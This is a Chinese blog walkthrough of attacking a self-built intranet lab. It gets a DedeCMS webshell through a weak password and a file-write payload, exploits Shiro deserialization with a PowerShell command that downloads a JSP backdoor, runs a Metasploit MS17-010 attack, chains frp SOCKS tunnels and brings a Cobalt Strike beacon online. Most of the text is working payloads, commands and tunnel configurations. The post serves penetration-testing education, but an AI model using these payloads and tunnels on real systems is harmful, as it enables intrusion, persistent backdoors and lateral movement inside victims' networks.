内网靶场_从自做到拿下-攻击篇

内网靶场_从自做到拿下-攻击篇

如有图片加载失败等问题 可通过本人公众号阅读:https://mp.weixin.qq.com/s/7MzYOZ10zrQCSZ2a9k23gw

1. 目录:

目 录 -------------------- 1

​ 简介 ------------------------ 1.1

启动环境 --------------------- 2

攻击cms-linux靶机 ------- 3

​ cms利用-------------------------3.1

​ 利用frp搭建socks隧道------3.2

​ 一级socks隧道使用 ---- 3.3

攻击WinPC-shiro靶机 ---- 4

​ shiro利用 ---- 4.1

​ socks二级隧道搭建 ---- 4.2

攻击Win-ms17-010靶机 ---- 5

​ msf攻击ms17-010 ------ 5.1

​ socks三级隧道搭建 ----- 5.2

​ 先建立第三级连接 — 5.2.1

​ 再重启第二级连接 — 5.2.2

​ 后重启第一级连接 — 5.2.3

​ 总结 ------ 5.2.4

搭建反向socks隧道 ----- 6

​ 错误示范 ----- ----- 6.1

​ 正确搭建 ----- ----- 6.2

​ 总结 ------ ------- 6.3

cs获取靶机shell ---- — 7

本文结语 ------ ------ -------- 8

1.1 简介:

本篇直接讲述,如何拿下整个靶场并利用frp搭建socks正向隧道,各种信息探测等,由于篇幅原因,不在本文讲述,会在后文中,专开一文,讲述信息获取等内容

在本文中,主要讲述攻击过程、及socks隧道搭建,以及尽可能详细的将该过程中的每个变量进行讲解,使你可以快速的自行利用

2. 启动环境

由我们自做的拓扑图可知,入口机gongwangip需要动态获取,如果是刚配置完,网络环境未发生改变,可以跳过该步,否则,需要重新获取ip:

拓扑

首先查看攻击机ip、入口机ip,是否在同一网段:

可以看到由于网络环境的更换,宿主机(攻击机)ip自动更换,而挂起状态直接启动的靶机ip并未更新ip,此时需要问哦们手动更新ip:

image-20220102092426113

image-20220102092446690

因为该ip为动态ip,只需执行命令dhclient [需要重新获取ip的网卡名称] 如:dhclient ens33

在执行该命令的时候,有可能会遇到两个问题:一、提示不存在或找不到命令之类的 切换root权限即可 二、如果提示仅从被占用,直接使用kill+pid杀掉进程,再次执行即可

image-20220102092748514

重新获取ip后,可以发现ens33网卡ip与攻击机ip已处于同一网段可以开始攻击利用

而其他靶机,因均为静态ip,直接启动利用即可,无需再更改ip

3. 攻击cms-linux靶机

3.1 cms利用

​ 访问我们获取的动态ip(动态ip,根据网络环境不同ip不同,访问自己获取的ip即可)

image-20220102100400622

笔者使用的cms为dedecms,漏洞为:弱口令登陆后台,后台文件上传+文件包含getshell(参考链接:https://www.cnblogs.com/thresh/p/13743219.html)

访问后台,:

image-20220102101357336

尝试默认口令、弱口令登陆:

image-20220102101541945

访问/dede/tpl.php?action=upload,查看源码获取token:824f91982e8fe2026d845304055909ec

image-20220102101715345

访问: /dede/tpl.php?filename=【写入的文件名以 .lib.php 为后缀即可】&action=savetagfile&content=【要在文件中写入的内容】&token=【上面获取到的token值】

根据个人情况 自行替换即可

完整payload: /dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=824f91982e8fe2026d845304055909ec

如果执行后得到如下返回结果,再次获取token,重新执行即可:

image-20220102102216141

成功写入 返回页面:

image-20220102102520072

访问该后门文件:

/include/taglib/【自己写入后门的文件名】

/include/taglib/test.lib.php

image-20220102102640669

修改payload写入的内容,为一句话:

payload: /dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20@eval($_POST[‘cmd’]);?%3E&token=824f91982e8fe2026d845304055909ec

image-20220102105707506

使用蚁剑等工具 对webshell进行管理:

image-20220102110043080

成功拿到入口机权限,但是 接下来的靶机 均处于内网,攻击机无法直接访问,只能通过入口机来间接访问,于是 要么在入口机安装各种攻击环境 (不现实),要么就是 搭建代理隧道,将流量进行转发,即可将入口机做为跳板机,进行内网攻击

3.2 socks隧道搭建

此处搭建socks隧道,我们采用frp搭建

在此 简单讲解下 个人对frp理解:

搭建隧道后 可以通过服务端将流量转发至客户端 frps-->frpc
往往将frps搭建至攻击机,将frpc搭建至内网,进而通过设置代理的方式 将流量转发至内网
在使用后门时,有时有需要使用反向代理,就需要将上述反向搭建

此处先讲述正向搭建,待将正向隧道搭建完毕后,再行搭建反向隧道

配置文件讲解 (仅讲解用到的关键内容):

frps.ini	运行在服务端,此处在攻击机运行
[common]
#服务器端监听的端口,默认是7000,可自定义,下同
bind_port = 7000

frps将发送到该端口的流量 通过socks隧道转发至内网

frpc.ini    运行在客户端,此处在靶机运行

[common]				#固定不变即可
#服务端ip,即要连接的frps所运行的计算机的ip
server_addr = 172.16.52.164
#服务端,运行frps所监听的端口,与frps.ini照应即可
server_port = 7000

#方括号里面的算时一个标签吧 自定义即可 用来建立多级代理 如果是仅一级代理的话 仅需上面的common和下面的这个socks5_to_1即可,多级代理 就需要下面的 socks5_to_2、socks5_to_3。。。。进行端口转发
[socks5_to_1]			#此处 为创建一级代理 所设
type = tcp				#建立连接的类型
plugin = socks5 		#设置插件 要建立socks5隧道
remote_port = 10088		#要在远程靶机上监听的端口 即监听与frpc所连接的frps所运行的服务端的端口

[socks5_to_2]			#此处为建立二级代理 所设
type = tcp				#同样以tcp类型建立连接
local_ip = 127.0.0.1	#本机ip 即加载该配置文件运行frpc的计算机ip
local_port = 12010		#本机监听端口 将远程端口接收到的数据转发至本机监听的该端口 
remote_port = 12020		#远程监听端口 监听连接的frps服务端的这个端口 将该端口接收到的数据进行转发 转发至local_port
即远程12020端口的请求数据,转发至本地的12010端口

[socks5_to_3]			#同上 为建立三级代理 做准备 根据自己需求所设即可 
type = tcp
local_ip = 127.0.0.1	#同上 本地ip 用127.0.0.1代替
local_port = 12020		#同上 本地监听端口
remote_port = 13010		#同上 远程监听端口

具体运行情况 后文继续

此处进行一级隧道搭建 ,将我们的流量转发至入口机,进而对入口机所在的网段进行扫描

此时建立正向隧道 将攻击机流量代理至入口机:

在攻击机执行frps,在靶机执行frpc,具体如下:

配置frps监听7000端口:

[common]
bind_port = 7000

image-20220103164422075

通过webshell上传至靶机,并运行:

配置frpc向frps建立连接:

[common]
server_addr = 172.16.52.227	#运行frps端的ip
server_port = 7000			#frps.ini里面配置的监听端口

#因为目前仅拿下了一台靶机,故建立一层连接即可
[socks5_to_1]
type = tcp
plugin = socks5 		#设置插件
remote_port = 10088		#监听远程服务器端口,即从靶机监听攻击机的10088端口,并接收流量

#注:中文注释的存在,有时会导致frp的启动错误,故在跟随复现的过程中,建议去掉这些中文注释,下同

前面我们已经讲到 通过cms漏洞拿到webshell 并用蚁剑成功连接,此时通过webshell上传frpc 并运行

上传后 直接执行的话 如果提示权限不足,如下 需要使用命令chmod 赋予他们可执行权限:

image-20220104151118612

在执行的时候 如果出现如下错误,则去除中文:

image-20220104151630926

可以看到 frpc成功启动,并且成功与攻击机建立隧道连接,端口为10088

image-20220104151736749

接下来即可通过建立的socks隧道 对内网进行扫描:

image-20220104152351423

设置socks代理后 即可通过内网IP访问网页 以及设置代理后 实用工具 直接对内网进行扫描:

image-20220104152534927

3.3 一级socks隧道使用

代理隧道搭建成功后 虽说可以设置全局代理,但是 总有些程序 不走全局代理,故在攻击机kali上安装proxychains

sudo apt install proxychains
sudo vim /etc/proxychains.conf		#在该配置文件末尾 添加socks5代理 如下图

我们使用frp搭建的socks5隧道

image-20220104175551805

使用方法(如果是新安装的 记得安装并配置完proxychains后 重启一个命令行窗口):

image-20220105144617840

使用nmap 通过代理探测 ,发现存活主机 192.168.10.20 开放端口8080,访问之:

image-20220105144939932

4. 攻击WinPC-shiro靶机

4.1 shiro利用

对目录进行扫描,发现存在shiro目录,访问之,发现存在登陆:

image-20220105145031882

image-20220105145107780

对shiro框架进行漏洞利用,同样使用搭建的socks隧道,可以发现shiro反序列化漏洞可以成功利用:

image-20220105145552983

利用成功后,为方便操作,上传jsp后缀的webshell,上传方式:

通过利用成功的shiro漏洞,执行powershell.exe 的 下载文件的命令,将jsp后门下载至靶机:

在shiro反序列化利用工具 里面执行下列命令

powershell.exe (new-object System.Net.WebClient).DownloadFile('http://192.168.10.10/include/taglib/frp/shell.jsp.7z','C:\Program Files\apache-tomcat-8.5.73\webapps\shiro\s.jsp')
#该命令为weindows环境中 powershell.exe 程序 下载互联网文件的命令,下载路径、文件名等 均可自定义
#powershell.exe (new-object System.Net.WebClient).DownloadFile('url地址','文件保存路径')
#因为是内网,192.168.10.20,可以通过内网访问192.168.10.10,所以先把后门文件上传至入口机,再通过该命令将后门文件或者程序下载至 shiro 靶机,设置代理,连接

通过我们前面搭建的socks代理隧道,连接这个后门文件:

image-20220105171709526

成功连接webshell,查看ip可以明显的发现内网的第二个网段 192.168.20.*

image-20220105171919108

4.2 socks二级隧道搭建

前面已讲述了利用frp搭建socks隧道,并简单讲述了,必要变量的使用,此处搭建二级隧道,对一级隧道进行延伸,使其可以将流量转发至内网的 192.168.20.* 网段

配置文件如下:

#frps.ini 二级代理,仅需监听本地端口即可
[common]
bind_port = 7000
#frpc_1.ini 因为要建立二级代理故 会有两个客户端进行连接,一个一级,一个二级,该配置文件为第一层

#在入口机执行
[common]
server_addr = 172.16.52.164		#向服务端 即攻击机发起连接
server_port = 7000				#通过服务端监听的7000端口建立连接

[socks5_to_1]					#建立一级隧道
type = tcp
plugin = socks5 				#调用socks插件 建立的是socks5隧道
remote_port = 10088				#监听远程的10088端口,即监听攻击机的1008端口,而不是本地的10088端口

[socks5_to_2]					#为建立二级隧道做准备 进行端口转发
type = tcp
local_ip = 127.0.0.1			#本地ip,默认127.0.0.1 不写也可
local_port = 10088				#将远程端口监听到的数据转发至本地的该端口
remote_port = 12020				#即将监听到的攻击机12020端口的数据 转发至本地的10088端口
								#与socks5_to_1的10088端口不是同一个端口,一个远程一个本地
#frpc_2.ini	二级代理的配置文件

[common]						#在WinPC-shiro 靶机执行
server_addr = 192.168.10.10		#向服务端,即入口机发起连接
server_port = 7000				#因为frps.ini配置的均为监听本地7000端口,故 向7000端口发起连接即可

[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088				#监听远程,即入口机的10088端口 因为frpc_1.ini中 通过端口转发将攻击机的12020端口的数据转发至入口机的10088端口 所以此处对入口机的10088端口进行监听,就相当于间接的监听攻击机的12020端口

为防止 一级代理连接失效,现将配置文件上传至对应靶机,建立内网隧道,然后再关闭首次搭建的一级代理,重新加载配置文件并启动

先将frps 上传至 cms-linux 并运行(注意上传对应操作系统的程序):

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gd8uxWYc-1647234440735)(http://121.40.92.63/png/28.png)]

上传至linux后需要先赋予可执行权限,然后运行frps (此时该处的frpc.ini依旧是一级代理,未包含二级端口转发)

image-20220106092717680

然后上传frpc_2.exe至 WinPC-shiro (linux和windows环境不一样 故需要上传exe程序 ini文件不变):

image-20220106092050113

在虚拟终端执行,根据回显可知成功建立连接:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HwU2Iez3-1647234440737)(http://121.40.92.63/png/30.png)]

接下来 ,再把包含端口转发的frpc.ini上传至入口机,重启frpc即可:

image-20220106093320243

先kill掉旧的frpc进程,然后重新加载ini,运行frpc,可以看到在攻击机上连接成功:

image-20220106093519660

此时修改我们的代理为二级代理的端口,进行访问测试:

image-20220106093723968

可以发现 192.168.20.* 网段成功访问

image-20220106093814107

至此二级代理搭建完毕,多级代理依次类推,后面还有个三级代理搭建,可对照理解:

此时攻击机代理端口分别对应:

10088 --> 192.168.10.* 网段

12020 --> 192.168.20.* 网段

注:因为此时已经是win主机,可以通过搭建反向隧道(目前为止搭建的均为正向,将我们的流量代理至内网),上传exe后门,使其上线cs,进一步对内网渗透,此处我们继续采用正想搭建隧道,先把所有网段拿下后,在进行反向隧道搭建的通一讲解,故,暂不适用cs

5. 攻击Win-ms17-010靶机

5.1 msf攻击ms17-010

​ 此处,由于已经进入内网环境,且仅有入口机可通外网,故我们对内网靶机 如WIn-ms17-010等,内网网段192.168.20.*的任何请求,虽然通过代理 已经可以将数据包代理至WinPC-shiro靶机,但是,虽然请求报进入了内网,因为我们代理的靶机WinPC-shiro无法访问外网,故 大部分工具无法收到响应包,也就会探测失败。这也是我们后面要讲反向搭建socks隧道的原因。

#如果想要进行测试的话,由于proxychains是无法代理icmp流量的,所以虽然不能使用ping命令,但是可以使用nmap

proxychains nmap -p 1-1000 -Pn -sT 192.168.30.10		# -Pn和-sT必须要有

​ 此处我们直接使用msf对靶机的ms17-010漏洞进行利用,待后面讲完反向隧道搭建后,可以在此处直接搭建反向隧道,然后上线cs,就可以方便的进行后渗透了

​ 正常情况下,可以互相访问的话,直接就可以使用相关模块进行探测、利用,但是这里是对内网环境的攻击利用,故需要先设置代理,通过我们搭建的二级隧道,将我们的流量转发至内网(至于响应包不出网的问题,不用担心,msf有专门针对性的payload可用)

​ 启动msf,并设置代理:

​ 两个设置:1. setg Proxies socks5:172.16.52.164:12020 设置我们搭建的socks隧道。同时因为该代理ip和msf所在攻击机为同一ip,故也可用127.0.0.1代替,如:setg Proxies socks5:127.0.0.1:12020

​ 2. setg ReverseAllowProxy true 设置允许反向连接,因为我们攻击ms17-010后,需要通过反弹shell的形式,获取该靶机的shell

image-20220106101532469

​ 选择并使用对应exp (此处略过探测过程)

image-20220106102000643

​ 设置我们靶机的ip、端口,

set rhost 192.168.20.20			#靶机ip,因已代理至内网,故直接设置内网ip即可

#本机ip,虽内网不出网,但msf有针对性的payload,前面也已设置代理和允许反向链接
set lhost 172.16.52.164
#默认情况下 端口情况即为445、4444,故默认情况下,仅需设置ip即可
set rport 445
set lport 4444

#此时,正常情况下设置完ip后即可开始攻击利用,但是因为响应包无法传输至外网,也就是无法到达我们的攻击机,故还需要更换payload,不能使用默认的:
set payload windows/x64/meterpreter/bind_tcp

image-20220106102644418

开始攻击利用(注:链接不稳定,如果失败,多尝试几次即可,约两到三次,比较看运气):

出现下述结果时,证明会话建立成功

image-20220106103441842

当利用成功,出现提示符 meterpreter 时,我们就可以执行msf提供的一系列功能,

ps:					 查看进程

upload:			 用来上传我们的后门程序

download:		可以下载靶机文件

execute:			加上 -f 参数在靶机执行exe程序,即用来启动我们上传的后门文件

(还有一系列的其他功能,提权、监听、抓取密码等等,详情自行百度)

5.2 socks三级隧道搭建

#frps.ini 依旧仅监听本地7000端口即可
[common]
bind_port = 7000
#frpc_1.ini 因为要建立三级代理故 会有三个客户端进行连接,该配置文件为第一层

#在入口机执行
[common]
server_addr = 172.16.52.164		#向服务端 即攻击机发起连接
server_port = 7000				#通过服务端监听的7000端口建立连接

[socks5_to_1]					#建立一级隧道
type = tcp
plugin = socks5 				#调用socks插件 建立的是socks5隧道
remote_port = 10088				#监听远程的10088端口,即监听攻击机的1008端口,而不是本地的10088端口

[socks5_to_2]					#为建立二级隧道做准备 进行端口转发
type = tcp
local_ip = 127.0.0.1			#本地ip,默认127.0.0.1 不写也可
local_port = 10088				#将远程端口监听到的数据转发至本地的该端口
remote_port = 12020				#即将监听到的攻击机12020端口的数据 转发至本地的10088端口
								#与socks5_to_1的10088端口不是同一个端口,一个远程一个本地

#【搭建多级代理的主要区别,就是新增端口转发即可,故socks5_to_1、socks5_to_2不需更改,新添一个端口转发即可】
[socks5_to_3]
type = tcp
local_ip = 127.0.0.1
local_port = 12020		#将远程端口监听到的数据转发至本地的该端口
remote_port = 13020		#即将监听到的攻击机13010端口的数据 转发至本地的12020端口
						#与socks5_to_2的12020端口不是同一个端口,一个远程一个本地
#frpc_2.ini	二级代理的配置文件

[common]						#在WinPC-shiro 靶机执行
server_addr = 192.168.10.10		#向服务端,即入口机发起连接
server_port = 7000				#因为frps.ini配置的均为监听本地7000端口,故 向7000端口发起连接即可

[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088				#监听远程,即入口机的10088端口 因为frpc_1.ini中 通过端口转发将攻击机的12020端口的数据转发至入口机的10088端口 所以此处对入口机的10088端口进行监听,就相当于间接的监听攻击机的12020端口

#【同frpc_1.ini,仅需添加一个端口转发即可】
#因需要搭建三级代理,WinPC-shiro 作为入口机和 Win-ms17-010 的中转机,同样需要添加端口转发
[socks5_to_2]
type = tcp
local_ip = 127.0.0.1
local_port = 10088		#监听远程,即入口机的12020端口,并将流量转发至本地10088端口,socks5_to_1中的
remote_port = 12020		#10088为远程的10088端口,为防止迷惑,可自行修改端口即可,经过转发后即为:
						#攻击机13020--》入口机12020--》WinPC-shiro10088进而被Win-ms17-010监听
#frpc_3.ini	三级代理的配置文件

[common]						#在 Win-ms17-010 靶机执行
server_addr = 192.168.20.10		#向服务端,即 WinPC-shiro 发起连接
server_port = 7000				#因为frps.ini配置的均为监听本地7000端口,故 向7000端口发起连接即可

[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 10088				#上述,经过转发后,流量已到达 WinPC-shiro 的10088端口,监听即可

同样 为防止代理中断,依旧由内而外的搭建,先运行frps后运行frpc建立连接,(否则frpc会因为连接失败,而激动失败)

5.2.1 先建立第三级连接

将frps及frps.ini上传至WinPC-shiro并启动:

在启动frps的时候,由于会回显连接、数据传输等信息,故让其后台执行即可,下图为方便示例为让其后台执行

start /b frps.exe -c frps_win.ini

image-20220106113019875

将frpc及frpc.ini通过msf上传至Win-ms17-010靶机并执行:

找一个存放上传的后门的目录 admin 最好具有可执行权限,防止出现问题:

image-20220106113439498

使用upload 命令上传文件至该目录:

image-20220106113834386

image-20220106113854204

上传完成后,使用命令 execute 启动我们的frpc,因为frpc在启动时会默认寻找当前目录下的frpc.ini文件,故上传后最好将其命名为frpc.ini,也就不需要使用-c指定配置文件了:

image-20220106114220533

5.2.2 再重启第二级连接

第三层代理已经成功连接,接下来需要重启第二层代理,因为我们第二层代理已经是连通状态,故服务端的frps是已经启动的状态,仅需上传修改后的frpc.ini并重启frpc即可:

使用命令:tasklist查看进程列表:

image-20220106115442321

使用命令:

taskkill /f /t /im frpc.exe		#根据程序名结束进程
taskkill /F /pid 2856 -t		#根据pid结束进程名

image-20220106115739167

结束后,重新加载配置文件并执行:

image-20220106120050742

5.2.3 后重启第一级连接

同上,仅需在入口机上传(或直接修改)修改后的配置文件,并重启:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M0EnXvIm-1647234440745)(http://121.40.92.63/png/48.png)]

为验证代理是否可用,我们修改设置:

image-20220106122525920

5.2.4 总结

至此,多级代理搭建完毕:

10088:可访问:192.168.10.*段

12020:可访问:192.168.20.*段

13020:可访问:192.168.30.*段

因为ms17-010靶机没有后门不方便管理,我们可以采用两种方式

1.通过msf生成后门,上传执行,获取会话,并转接至cs,进行管理和后渗透

2.建立反向socks通道,生成反向cs后门,直接建立会话

注:此处,为讲解反向搭建socks隧道,故仅讲述方法2

6.搭建反向socks隧道

注:6.1 和 6.2 部分 仅为讲解反向隧道的搭建,为上线cs时搭建反向隧道做理论基础准备,在7部分会重新搭建专属反向隧道,有理论基础的可跳过这两部分

6.1 错误示范

反向搭建socks隧道整体思路,和搭建正向没有太大区别,主要区别是,正向隧道目标是对每个网段都能进行访问监听,反向隧道的目标是将某台主机的数据转发至公网的攻击机,故仅需一个端口转发,一路转发至攻击机即可:

#服务端同样是仅开启一个端口进行监听即可,但因为我们已经建立了一条由外而内正向隧道,7000端口已被占用,故我们需要更换端口(同理,frpc.ini中的端口也要更换防止端口冲突)
[common]
bind_port = 8000
#frpc_1.ini 在 WinPC-shiro 靶机加载运行,向 Win-ms17-010 发起请求建立连接
[common]
server_addr = 192.168.20.20
server_port = 8000

因为仅需将靶机数据代理至攻击机,建立唯一隧道即可,故仅需做转发而不需每层建立单独的隧道了
[socks5_to_1]					#为建立一级转发做准备
type = tcp
local_ip = 127.0.0.1			#本地ip,默认127.0.0.1 不写也可
local_port = 22020				#Win-ms17-010靶机的23020端口的数据转发至本机的22020端口
remote_port = 23020
#frpc_2.ini 在 cms-linux 靶机加载运行,向 WinPC-shiro 发起请求建立连接
[common]
server_addr = 192.168.10.20
server_port = 8000

因为仅需将靶机数据代理至攻击机,建立唯一隧道即可,故仅需做转发而不需每层建立单独的隧道了
[socks5_to_1]					#为建立一级转发做准备
type = tcp
local_ip = 127.0.0.1			#本地ip,默认127.0.0.1 不写也可
local_port = 20088			#Win-ms17-010靶机的23020端口的数据转发至 WinPC-shiro 的22020端口
remote_port = 22020			#然后再由 WinPC-shiro 的22020端口 转发至本机的20088端口
#frpc_3.ini 在 攻击机 加载运行,向 入口机 cms-linux 发起请求建立连接
[common]
server_addr = 172.16.52.234
server_port = 8000

#经过两层端口转发后,数据已转发至入口机的20088端口,故此时,仅需在攻击机启动frpc接收入口机的数据即可
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 20088

开始上传并执行(为防止冲突、或为方便识别,建议将程序和配置文件重命名):

同样,由内而外,先启动frps:

image-20220106131311137

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kKS37cIV-1647234440746)(http://121.40.92.63/png/51.png)]

上传并启动一级转发:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6t9tkjJH-1647234440746)(http://121.40.92.63/png/52.png)]

可以发现,建立连接失败,是因为,ms17-010靶机处于域环境,虽然可以主动访问外部数据(这也是为什么正向隧道可以搭建),但是却会拒绝所有外部向内发起的连接(为何frps明明已经启动,但frpc却无法连接)

image-20220106132031854

image-20220106132658213

6.2 正确搭建

思路:综上,我们仅需建立一级转发,将流量从 WinPC-shiro 以 入口机做中转 转发至攻击机即可,然后上线cs,通过反弹shell的方式使靶机 Win-ms17-010 上线,进而进入域环境:

去掉一层转发后:

#frps.ini不变
[common]
bind_port = 8000
#frpc_1.ini 在 cms-linux 靶机加载运行,向 WinPC-shiro 发起请求建立连接
[common]
server_addr = 192.168.10.20
server_port = 8000

#因为仅需将靶机数据代理至攻击机,建立唯一隧道即可,故仅需做转发而不需每层建立单独的隧道了
[socks5_to_1]					#为建立一级转发做准备
type = tcp
local_ip = 127.0.0.1			#本地ip,默认127.0.0.1 不写也可
local_port = 20088			#监听 WinPC-shiro 的22020端口
remote_port = 22020			#然后再由 WinPC-shiro 的22020端口 转发至本机的20088端口
#frpc_2.ini 在 攻击机 加载运行,向 入口机 cms-linux 发起请求建立连接
[common]
server_addr = 172.16.52.234
server_port = 8000

#经过一层端口转发后,数据已转发至入口机的20088端口,故此时,仅需在攻击机启动frpc接收入口机的数据即可
[socks5_to_1]
type = tcp
plugin = socks5
remote_port = 20088

在 WinPC-shiro 靶机上 执行我们的frps_0.exe:

image-20220106133542071

在入口机 cms-inux 上执行 frpc 进行端口转发:

image-20220106134001358

端口转发已搭建,接下来便是把流量从入口机转发至攻击机:

image-20220106134423301

攻击机上执行frpc:

在启动frpc\frps的时候,均可以让其在后台运行:
windows端:start /b ***.exe
linux端:		./***** -c ***.ini  &	#linux端 加上 & 即可转后台运行 此处为方便观察未转后台

image-20220106134741978

综上 反向隧道已搭建完毕,由于不方便验证,可通过 搭建过程中均回显正常 未报错,假设其已经搭建成功,然后生成cs后门,反弹shell,如果反弹成功,便验证其可用

此处,笔者直接进入靶机,直接设置代理进行验证:

image-20220106172442001

至于如何通过设置代理的方式上线cs,还需研究,此处直接使用跳板的方式上线cs,过程再第七部分

欢迎关注笔者微信公众号,不定期分享技术文章,共同进步:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fvh1aTv2-1647234440751)(http://121.40.92.63/png/62.jpg)]

6.3 总结

​ 很多情况下,由于防火墙等原因,当外部向内部发起连接请求时,都会被拦截,这也是为何大部分情况下都采用反弹shell的方法,如上,由于加入了域环境,外部向内的连接会被拦截,但是内部向外的却不会被拦截。故真实环境中也如此,在内网渗透过程中,同样也要注意类似的环境问题

7. cs获取靶机shell

注:在第六部分中,搭建的反向隧道,是socks隧道,设置代理将内网流量转发至外网,由原先的不出网环境,变为可以访问外网。但是我们在使用cs获取靶机shell的时候,却不需要他任意访问,而是只需要接收到我们后门发送出的数据,并且把数据转发至攻击机即可,故在cs通过跳板机获取反弹shell的时候,仅需做一个端口转发即可,具体如下:

本部分内容,相关文章可参考:

#Cobalt srtike使用frp实现内网穿透
https://blog.csdn.net/csdnmmd/article/details/120589452

根据我们的拓扑图,因为仅需做一个端口转发,让攻击机可以接收到靶机后门的流量,上述参考文章是一台跳板,此处结合我们6.2部分,直接以 cms-linux、WinPC-shiro 两台作为靶机,一次性将后门架设至 Win-ms17-010靶机,并上线cs,frp配置如下:

#frps.ini 在靶机 cms-linux、WinPC-shiro 两台跳板机 加载运行

[common]
bind_port = 8000	#同上端口可自定义,但因我们有正向隧道的 7000端口监听,为防止冲突,需要更换
#frpc_0_1.ini 在 入口 加载运行,向 WinPC-shiro 发起请求建立连接
[common]
server_addr = 192.168.10.20
server_port = 8000

#在上面给出的参考文章的链接中,其文章还讲述了要将客户端的流量也进行转发,经过跳板机再从新转发至攻击机,经笔者测试,可以省略,仅需对后门流量做出转发即可
[WinPC_shiro_9080]		#此处,作为后门反弹shell连接时的端口转发
type = tcp
local_ip = 127.0.0.1
local_port = 9080		#cs服务端监听端口
#remote_port = 29080 这一行为错误示范,即当两个端口不一致时,会无法反弹shell,截图在后面
remote_port = 9080		#通过该端口,将反弹的shell转发至cs服务端
						#两个端口必须一致,因为设置的监听和转发端口如果不一致,在用cs生成后门时,其不会自动做转换

上面配置文件中,错误示范行,当端口设置不一致时,反弹失败截图:虽然确实流量请求至29080端口,也被转发至攻击机9080端口,但因为监听器设置的时29080,9080未被监听,也就导致了下面的错误,故两个端口应该一致:

image-20220107121820814

#frpc_0_2.ini 在 攻击机 加载运行,向 入口机 cms-linux 发起请求建立连接
[common]
server_addr = 172.16.52.234
server_port = 8000

[cms_linux_9080]		#此处,作为后门反弹shell连接时的端口转发
type = tcp
local_ip = 127.0.0.1
local_port = 9080		#cs服务端监听端口
remote_port = 9080		#正确配置, frpc_0_1.ini 于此相同

开始上传并执行:

在 WinPC-shiro 、入口机 cms_linux,启动frps_0

WinPC-shiro 启动:

可使用命令:tast /b frps_0.exe -c frps_0_win.ini   转后台运行

image-20220107135200324

入口机 cms_linux 启动,可在命令末尾加 & 转后台运行

image-20220107115233193

image-20220107115157712

在 入口机 cms_linux 、 攻击机,加载并启动frpc:

入口机 cms_linux:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-20ehHVqk-1647234440754)(http://121.40.92.63/png/71.png)]

image-20220107135651982

攻击机 启动frpc_0.ini

image-20220107135834839

攻击机启动 cs服务端,客户端在本机启动,并通过我们设置的代理连接服务端:

image-20220107115953541

客户端直连即可,不需要再经过代理

image-20220107140550886

生成监听器:

# 因为已建立反向socks隧道,故在http Proxy中设置代理后,直接将ip设置未本地ip即可
name:为监听器名字,可任意
payload:payload类型
HTTP Hosts: shell反弹的主机,也就是我们kali的ip(如果是阿里云,则填阿里云主机的公网ip)
HTTP Hosts(Stager): Stager的马请求下载payload的地址(一般也是和上面的ip填一样)
HTTP Port(C2): C2监听的端口

打开监听面板,并创建新的监听

image-20220107141050550

image-20220107141018380

生成后门exe,通过下面的设置后,点击左边的Generate按钮,会让选择生成的exe保存路径,保存后,把生成的exe后门上传至靶机,并执行:

选中我们的监听,根据靶机类型,自行选择是否是 x64架构:

image-20220107120845258

同样,使用msf(利用过程同 第五部分),上传并运行cs生成的后门程序:

image-20220107143045863

启动后门,稍等一会,便可上线:

image-20220107143310017

本文结语

至此:拿下一台域成员剩下的便是探测各种信息,以及拿域控,如果在域环境中,还存在其他域成员,同样也可以进一步拿下其他域成员。

由于篇幅原因,暂时就到这里,剩余的信息收集、拿域控等等,会另开新文进行讲述,请期待新文可关注笔者公众号进行系列文阅读:

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值